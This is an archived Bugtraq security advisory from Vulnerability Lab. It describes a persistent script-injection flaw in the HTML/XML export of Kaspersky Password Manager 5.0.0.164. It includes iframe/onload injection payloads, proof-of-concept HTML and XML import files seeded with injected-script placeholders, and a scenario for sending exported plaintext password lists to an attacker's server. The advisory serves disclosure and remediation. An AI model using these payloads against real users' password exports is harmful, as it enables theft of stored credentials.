Bugtraq mailing list archives

Kaspersky Password Manager 5.0.0.164 - Software Filter Vulnerability


From: Vulnerability Lab <admin () vulnerability-lab com>
Date: Thu, 02 Aug 2012 04:44:18 +0200

Title:
======
Kaspersky PM 5.0.0.164 - Software Filter Vulnerability


Date:
=====
2012-07-12


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=612


VL-ID:
=====
612


Common Vulnerability Scoring System:
====================================
3


Introduction:
=============
Kaspersky Password Manager is an indispensable tool for the active Internet user. It fully automates 
the process of entering passwords and other data into websites and saves the user going to the trouble 
of creating and remembering multiple passwords. When you use Kaspersky Password Manager to log in, you 
can rest assured that your data is safe. The software creates exceptionally strong passwords and prevents 
your login information from being stolen. All confidential data is encrypted and kept in a dedicated database 
on your computer. Kaspersky Password Manager makes your web experience safer, quicker and more convenient.

(Copy of the Vendor Homepage: www.kaspersky.com/us/kaspersky-password-manager )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a software filter & validation vulnerability in Kasperskys 
Password Manager v5.0.0.164.


Report-Timeline:
================
2012-07-12:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Kaspersky Labs
Product: Kaspersky Password Manager v5.0.0.164 & older versions


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A software filter & validation vulnerability is detected in Kasperskys Password Manager v5.0.0.164 Software.
The bug allows an attacker (local) to implement/inject malicious script code when processing to export a manipulated
Kaspersky Password Manager database. The vulnerability is located in the validation of the html/xml export 
function/module & the bound vulnerable name, domain, url, comment (listing) parameters. URLs of entries are embedded 
in the exported HTML file without encoding XML special characters, when the URL (domain) field of an entry contains 
a malicious script code, this will be executed when the exported HTML file is opened in a browser.

Exploitation of the vulnerabilitiy requires a manipulated url with malicious script code, a logging server with chmod 
777, a listing file (random) & a kaspersky PM v5.0.0.164 user. The bug will be injected on the remote way (Autofill 
Engine), 
affects the local validation (html/xml) on exports and change the technic back when remote transfering the password 
lists. 
The injection of the malicious url/domain context can be done via automatic imports/plugins (KPM AutoFill Engine 
v5.0.0.164) 
as victim or manually (reproduce) by including. Successful exploitation of the vulnerability lead to stable 
(persistent) 
context manipulation, persistent phishing, execution of malware or stealing plain password lists. Medium user inter 
action is 
required to exploit the vulnerability.


Normally Kaspersky Password Manager exports the html & xml backup with a secure clean template like ...

<tbody><tr class=``MySplitterRow``><td colspan=``2``> </td></tr>
<tr class=``MyAccountNameRow``>
 <td align=``right`` width=``150px``>Name des Benutzerkontos: </td>
 <td><b>test1</b></td>
</tr>
<tr><td align=``right`` valign=``top``>Link: </td>
<td valign=``top``>test4</td></tr>
<tr class=``MySplitterRowLight``><td colspan=``2``></td></tr>
<tr><td align=``right`` valign=``top``>Benutzername: <br>Kennwort: </td><td valign=``top``>test2<br>test3</td></tr>
<tr class=``MySplitterRowLight``><td colspan=``2``></td></tr>
<tr><td align=``right`` valign=``top``>Kommentar</td><td valign=``top``>test5</td></tr>
<tr class=``MySplitterRow``><td colspan=``2``> </td></tr>
<tr class=``MySplitterRowWhite``><td colspan=``2``> </td></tr>
</tbody></table></body></html>

The local attacker manipulate the database with malicious strings (script code) in the category item profile name input 
fields.
Kaspersky password manager generates the clean html or xml template but after the persistent script code inject in the 
database
profile name items, the persistent code is getting execute direct out the clean exported xml or html template file.

<tr class=``MyAccountNameRow``>
 <td align=``right`` width=``150px``>Name des Benutzerkontos: </td>
 <td><b>``><iframe src=``http://vulnerability-lab.com`` onload=alert(`VL`) <<=`` b=``></td>
</tr>


Vulnerable Section(s):
                                [+] Export & Import - Database & Categories

Vulnerable Module(s):
                                [+] HTML & XML


Vulnerable Parameter(s):
                                [+] Benutzername
                                [+] Kommentar
                                [+] Vorname, Zweiter Vorname & Nachname
                                [+] Email, Stdt & Addresse
                                [+] Abteilung, Beruf & Webseite
                                [+] Link/Website/URL



Exploitation (Remote>Local>Local>Remote) Scenario:

1. Remote
Attacker is sending the victim a manipulated login page (MITM/Browser or as Link) with script code in the url 
parameters. 
The script code impacts an easy html or js script which responds to a url with chmod 777 (other server) to exchange of 
the 
file when processing a local request. 

2. Local
The victim with kaspersky password manager save the malicious vulnerable login page with the url via AutoFill Engine 
plugin 
to the software. The context got saved in the kaspersky password database.

4. Local
After some time the victim is exporting the file as html plain file with the standard kaspersky template. 

3. Remote
The script code of the vulnerable item values get executed and transfers the context of the listed plain html file 
directly to the 
attackers web-server with the script in chmod777.


Proof of Concept:
=================
The persistent script code injection & execution can only be exploited by local attackers or remote via user inter 
action & 
manipulated login/website link(malicious). For demonstration or reproduce ...

Review: Listing Document (HTML & XML)

<tr class="MyAccountNameRow">
 <td align="right" width="150px">Name des Benutzerkontos: </td>
 <td><b>yeaaa</b></td>
</tr>
<tr><td align="right" valign="top">Link: </td>
<td valign="top">"><iframe src=a onload=alert("VL") <</td></tr>
<tr class="MySplitterRowLight"><td colspan="2"></td></tr>
<tr><td align="right" valign="top">Benutzername: <br>Kennwort: </td><td valign="top">"><[PERSISTENt INJECTED SCRIPT 
CODE]) <<br>KTia1Zx8</td></tr>
<tr class="MySplitterRowLight"><td colspan="2"></td></tr>
<tr><td align="right" valign="top">Kommentar</td><td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr class="MySplitterRowWhite"><td colspan="2"> </td></tr>
</table></html>


PoC:  HTML

<html><head>
<title>Kaspersky Password Manager Datenbank von 12.06.2012 02:43:53</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style type="text/css">
<!--
a:link    { color:#555B7C; }
a:active  { color:#555B7C; }
a:hover   { color:#555B7C; }
a:visited { color:#555B7C; }
body, td        { font: x-small Tahoma, Helvetica, Arial; color:#000000; }
hr        { color:#D8DADC; width:100%; }
.capt     { font: large Arial, Verdana; font-weight:bold; color:#000000; text-align:center; }
.section     { font: medium Arial, Verdana; font-weight:bold; color:#000000; text-align:center; }
.MyAccountNameRow { background-color:#F0F0F0; }
.MySplitterRow { background-color:#E6E6E6; }
.MySplitterRowLight { background-color:#EFEFEF; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="20" topmargin="20" marginwidth="20" marginheight="20">
<p class="capt">Kaspersky Password Manager Datenbank von 12.06.2012 02:43:53<hr size="1">
<p class="section"> Meine Visitenkarten</p>
<table align="center" width="800px" cellpadding="3" cellspacing="2" border="0" bgcolor="#FBFBFB">
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr><td align="right" width="150px">Vorname</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Zweiter Vorname</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Nachname</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Geschlecht</td>
<td valign="top"><b>Männlich</b></td></tr>
<tr><td align="right" width="150px">Geburtsdatum</td>
<td valign="top"><b>12.06.2012</b></td></tr>
<tr><td align="right" width="150px">Geburtsort</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Webseite</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">E-Mail</td>
<td valign="top"><b>research () vulnerability-lab com</b></td></tr>
<tr><td align="right" width="150px">E-Mail-Adresse ausblenden</td>
<td valign="top"><b>Ja</b></td></tr>
<tr><td align="right" width="150px">Nachrichten abonnieren</td>
<td valign="top"><b>Ja</b></td></tr>
<tr><td align="right" width="150px">Yahoo-Benutzerkonto</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">MSN-Benutzerkonto</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">AOL-Benutzerkonto</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Skype-Benutzerkonto</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Bevorzugter Benutzername</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Geheimfrage</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Antwort auf Geheimfrage</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Land</td>
<td valign="top"><b>Deutschland</b></td></tr>
<tr><td align="right" width="150px">Stadt</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Bundesland</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Postleitzahl</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Adressenzeile 1</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Adressenzeile 2</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Bevorzugte Sprache</td>
<td valign="top"><b>Deutsch</b></td></tr>
<tr><td align="right" width="150px">Zeitzone</td>
<td valign="top"><b>(UTC+01:00) Belgrad, Bratislava, Budapest, Ljubljana, Prag, Sarajevo, Skopje, Warschau, Zagreb, 
Windhuk, Brüssel, Kopenhagen, Madrid, Paris, West-Zentralafrika, Amsterdam, Berlin, Bern, Rom, Stockholm, 
Wien</b></td></tr>
<tr><td align="right" width="150px">Währung</td>
<td valign="top"><b>Euro (EUR)</b></td></tr>
<tr><td align="right" width="150px">Firma</td>
<td valign="top"><b>"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Abteilung</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Beruf</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Webseite</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Zahlungsart</td>
<td valign="top"><b>Bar</b></td></tr>
<tr><td align="right" width="150px">Familienstand</td>
<td valign="top"><b>Ledig</b></td></tr>
<tr><td align="right" width="150px">Umsatzsteuer-Identifikationsnummer</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Handelsregistereintrag</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">IBAN - Internationale Bankkonto Nummer</td>
<td valign="top"><b>http://";><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr class="MyAccountNameRow">
<td colspan="2"><b>Kreditkarten</b></td></tr>
<tr><td colspan="2">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr><td align="right" width="150px">Kartennummer</td>
<td valign="top"><b>"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Kreditinstitut</td>
<td valign="top"><b>"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr><td colspan="2"></td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
</table></html>


PoC:  XML for imports ...

<?xml version="1.0" encoding="UTF-16"?>
<root>
  <Database CreatedDate="2012-02-14T17:39:23.467+02:00" ModifiedDate="2012-06-12T22:25:48.806+02:00" 
LastDBObjectID="139" XMLVersion="1">
    <Identities>
      <Identity Name=""><iframe src=http://vulnerability-lab.com onload=alert("VL") <" ID="62" ParentID="-1" 
DefaultCreditCardID="106" 

DefaultBankAccountID="129">
        <RoleValues>
          <RoleValue ID="65" RoleType="1"/>
          <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="66" RoleType="2"/>
          <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="67" RoleType="3"/>
          <RoleValue ID="68" RoleType="4"/>
          <RoleValue Name="m" ID="69" RoleType="5"/>
          <RoleValue Name="20120612" ID="70" RoleType="6"/>
          <RoleValue ID="71" RoleType="7"/>
          <RoleValue ID="72" RoleType="8"/>
          <RoleValue ID="73" RoleType="9"/>
          <RoleValue ID="74" RoleType="10"/>
          <RoleValue ID="75" RoleType="11"/>
          <RoleValue Name="research () vulnerability-lab com" ID="76" RoleType="12"/>
          <RoleValue Name="1" ID="77" RoleType="13"/>
          <RoleValue Name="1" ID="78" RoleType="14"/>
          <RoleValue ID="79" RoleType="15"/>
          <RoleValue ID="80" RoleType="16"/>
          <RoleValue ID="81" RoleType="17"/>
          <RoleValue ID="82" RoleType="18"/>
          <RoleValue ID="83" RoleType="19"/>
          <RoleValue ID="84" RoleType="20"/>
          <RoleValue ID="85" RoleType="21"/>
          <RoleValue ID="86" RoleType="22"/>
          <RoleValue Name="94" ID="87" RoleType="23"/>
          <RoleValue ID="88" RoleType="24"/>
          <RoleValue ID="89" RoleType="25"/>
          <RoleValue ID="90" RoleType="26"/>
          <RoleValue ID="91" RoleType="27"/>
          <RoleValue ID="92" RoleType="28"/>
          <RoleValue Name="7" ID="93" RoleType="29"/>
          <RoleValue Name="1" ID="94" RoleType="30"/>
          <RoleValue Name="EUR" ID="95" RoleType="31"/>
          <RoleValue ID="96" RoleType="32"/>
          <RoleValue ID="97" RoleType="33"/>
          <RoleValue ID="98" RoleType="34"/>
          <RoleValue ID="99" RoleType="35"/>
          <RoleValue ID="100" RoleType="36"/>
          <RoleValue Name="1" ID="101" RoleType="57"/>
          <RoleValue Name="1" ID="102" RoleType="58"/>
          <RoleValue ID="103" RoleType="59"/>
          <RoleValue ID="104" RoleType="60"/>
          <RoleValue ID="105" RoleType="61"/>
        </RoleValues>
        <CreditCards>
          <CreditCard Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="106" ParentID="62">
            <RoleValues>
              <RoleValue ID="107" RoleType="37"/>
              <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="108" RoleType="38"/>
              <RoleValue ID="109" RoleType="39"/>
              <RoleValue ID="110" RoleType="40"/>
              <RoleValue ID="111" RoleType="41"/>
              <RoleValue ID="112" RoleType="42"/>
              <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="113" RoleType="43"/>
              <RoleValue ID="114" RoleType="44"/>
              <RoleValue ID="115" RoleType="45"/>
              <RoleValue ID="116" RoleType="46"/>
            </RoleValues>
          </CreditCard>
          <CreditCard Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="117" ParentID="62">
            <RoleValues>
              <RoleValue ID="118" RoleType="37"/>
              <RoleValue ID="119" RoleType="38"/>
              <RoleValue ID="120" RoleType="39"/>
              <RoleValue ID="121" RoleType="40"/>
              <RoleValue ID="122" RoleType="41"/>
              <RoleValue ID="123" RoleType="42"/>
              <RoleValue ID="124" RoleType="43"/>
              <RoleValue ID="125" RoleType="44"/>
              <RoleValue ID="126" RoleType="45"/>
              <RoleValue ID="127" RoleType="46"/>
            </RoleValues>
          </CreditCard>
        </CreditCards>
        <BankAccounts>
          <BankAccount Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="128" ParentID="62"/>
          <BankAccount Name="" ID="129" ParentID="62">
            <RoleValues>
              <RoleValue ID="130" RoleType="47"/>
              <RoleValue ID="131" RoleType="48"/>
              <RoleValue ID="132" RoleType="49"/>
              <RoleValue ID="133" RoleType="50"/>
              <RoleValue ID="134" RoleType="51"/>
              <RoleValue ID="135" RoleType="52"/>
              <RoleValue ID="136" RoleType="53"/>
              <RoleValue ID="137" RoleType="54"/>
              <RoleValue ID="138" RoleType="55"/>
              <RoleValue ID="139" RoleType="56"/>
            </RoleValues>
          </BankAccount>
        </BankAccounts>
      </Identity>
    </Identities>
  </Database>
</root>



Solution:
=========
XML special characters in Item names need to be encoded when processing to export as HTML file.


Risk:
=====
The security risk of the persistent software vulnerability is estimated as low(+)/(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm () vulnerability-lab com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - 
www.vulnerability-lab.com/register
Contact:    admin () vulnerability-lab com      - support () vulnerability-lab com             - research () 
vulnerability-lab com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - 
news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a 
permission.

                                        Copyright © 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY ADMINISTRATION
CONTACT: admin () vulnerability-lab com



Current thread: